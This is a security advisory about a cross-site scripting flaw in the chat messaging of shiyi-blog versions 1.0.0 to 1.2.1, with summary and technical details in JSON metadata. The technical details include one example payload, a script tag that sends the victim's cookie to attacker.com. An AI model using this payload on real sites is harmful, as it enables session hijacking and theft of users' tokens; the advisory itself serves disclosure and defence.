Description

A vulnerability was identified in quequnlong shiyi-blog 1.0.0-1.2.1. This impacts the function SysChatMsgMapper.getChatMsgList of the file blog-web/src/views/chat/index.vue of the component chat sendMsg Endpoint. Such manipulation of the argument chat_msg leads to cross site scripting. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "3.5",
  "pubDate": "2026-09-13T16:16:51.673Z",
  "pubdate": "2026-09-13T16:16:51.673Z",
  "executiveSummary": "A Cross-Site Scripting (XSS) vulnerability exists in the shiyi-blog platform, specifically within the chat messaging functionality. The vulnerability arises due to improper sanitization of user-supplied data transmitted via the 'chat_msg' argument.\nThis flaw allows remote, unauthenticated, or authenticated attackers to inject and execute arbitrary JavaScript code within the context of a victim's browser session. By manipulating the 'chat_msg' parameter, an attacker can influence the DOM, leading to unauthorized actions, session hijacking, or the theft of sensitive session tokens.\nThe vulnerability affects versions 1.0.0 through 1.2.1 of quequnlong shiyi-blog. Given that the project maintainers have remained unresponsive, the software remains in a vulnerable state. Organizations utilizing this component face a significant risk of client-side compromise, necessitating immediate defensive measures to sanitize inputs or restrict execution until a formal patch is provided.",
  "technicalDetails": "The vulnerability is identified within the SysChatMsgMapper.getChatMsgList function, located in the file blog-web/src/views/chat/index.vue. The root cause of this security flaw is the failure to perform adequate input validation and output encoding on the 'chat_msg' argument processed by the chat sendMsg endpoint.\nIn the context of the affected component, the application accepts input from the 'chat_msg' parameter and reflects this data directly into the Document Object Model (DOM) of the user's browser. Because the application does not utilize secure output encoding mechanisms (such as escaping HTML entities or sanitizing dangerous script tags), the input is interpreted as executable code rather than plain text.\nThe attack flow proceeds as follows: An attacker identifies the chat sendMsg endpoint as the target vector. They craft a malicious payload containing JavaScript, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>', and inject it into the 'chat_msg' argument. When the targeted victim views the chat message via the application interface, the SysChatMsgMapper.getChatMsgList function retrieves the malicious payload from the backend data source. The vulnerable Vue component renders this data, causing the browser to execute the injected payload within the security context of the victim's session.\nSince the execution occurs within the victim's browser, the attacker can bypass Same-Origin Policy (SOP) restrictions to access sensitive session cookies, local storage, or perform unauthorized requests on behalf of the authenticated user. This manipulation is remote and does not necessarily require high-level administrative privileges, significantly increasing the attack surface.\nThe vulnerability is persistent in nature if the chat messages are stored in the backend and retrieved by multiple users, effectively turning it into a Stored XSS variant depending on how SysChatMsgMapper processes and serves the data. The lack of proper Content Security Policy (CSP) headers in the application further exacerbates the potential impact, as the browser is not restricted from executing arbitrary scripts from third-party or untrusted sources."
}